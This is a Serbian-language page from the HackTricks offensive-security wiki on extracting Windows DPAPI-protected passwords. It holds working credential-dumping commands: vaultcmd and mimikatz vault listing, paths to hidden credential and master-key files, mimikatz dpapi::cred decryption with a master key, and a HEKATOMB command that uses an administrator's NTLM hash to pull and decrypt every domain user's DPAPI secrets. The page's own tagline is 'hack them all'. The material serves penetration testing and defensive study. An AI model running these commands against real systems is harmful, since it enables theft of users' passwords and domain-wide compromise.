DPAPI - Extracting Passwords

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.

Šta je DPAPI

API za zaštitu podataka (DPAPI) se primarno koristi u Windows operativnom sistemu za simetričnu enkripciju asimetričnih privatnih ključeva, koristeći korisničke ili sistemske tajne kao značajan izvor entropije. Ovaj pristup pojednostavljuje enkripciju za developere omogućavajući im da enkriptuju podatke koristeći ključ izveden iz korisničkih prijavljivačkih tajni ili, za sistemsku enkripciju, tajne za autentifikaciju domena sistema, čime se eliminiše potreba za developerima da sami upravljaju zaštitom enkripcionog ključa.

Zaštićeni podaci DPAPI-jem

Među ličnim podacima zaštićenim DPAPI-jem su:

  • Lozinke i podaci za automatsko popunjavanje Internet Explorer-a i Google Chrome-a

  • Lozinke za e-poštu i interne FTP naloge za aplikacije poput Outlook-a i Windows Mail-a

  • Lozinke za deljene fascikle, resurse, bežične mreže i Windows Vault, uključujući ključeve za enkripciju

  • Lozinke za udaljene desktop konekcije, .NET Passport i privatni ključevi za različite svrhe enkripcije i autentifikacije

  • Mrežne lozinke upravljane od strane Credential Manager-a i lični podaci u aplikacijama koje koriste CryptProtectData, poput Skype-a, MSN messengera i drugih

Lista trezora

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Datoteke sa podacima za prijavljivanje

Datoteke sa podacima za prijavljivanje mogu se nalaziti u:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Koristeći mimikatz dpapi::cred, možete dobiti informacije o pristupnim podacima, u odgovoru možete pronaći interesantne informacije poput šifrovanih podataka i guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Možete koristiti mimikatz modul dpapi::cred sa odgovarajućim /masterkey da dešifrujete:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Glavni ključevi

DPAPI ključevi koji se koriste za šifrovanje korisničkih RSA ključeva čuvaju se u direktorijumu %APPDATA%\Microsoft\Protect\{SID}, gde je {SID} Identifikator bezbednosti tog korisnika. DPAPI ključ se čuva u istoj datoteci kao i glavni ključ koji štiti privatne ključeve korisnika. Obično je to 64 bajta slučajnih podataka. (Primetite da je ovaj direktorijum zaštićen, tako da ga ne možete videti koristeći dir iz cmd-a, ali ga možete videti iz PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Ovako će izgledati gomila Master ključeva korisnika:

Obično svaki master ključ je šifrovan simetrični ključ koji može dešifrovati drugi sadržaj. Stoga je izvlačenje šifrovanog Master ključa zanimljivo kako bi se kasnije dešifrovao taj drugi sadržaj koji je šifrovan tim ključem.

Izvlačenje master ključa i dešifrovanje

Proverite post https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ za primer kako izvući master ključ i dešifrovati ga.

SharpDPAPI

SharpDPAPI je C# port nekih funkcionalnosti DPAPI-a iz @gentilkiwi's projekta Mimikatz.

HEKATOMB

HEKATOMB je alat koji automatizuje izvlačenje svih korisnika i računara iz LDAP direktorijuma i izvlačenje rezervnog ključa kontrolera domena putem RPC-a. Skripta će zatim rešiti sve IP adrese računara i izvršiti smbclient na svim računarima kako bi povukla sve DPAPI blokove svih korisnika i dešifrovala sve sa rezervnim ključem domena.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Sa izvučenom listom računara iz LDAP-a možete pronaći svaku podmrežu čak i ako ih niste znali!

"Zato što prava administratora domena nisu dovoljna. Hakujte ih sve."

DonPAPI

DonPAPI može automatski izvući tajne zaštićene DPAPI-jem.

Reference

RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka u svakoj disciplini.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated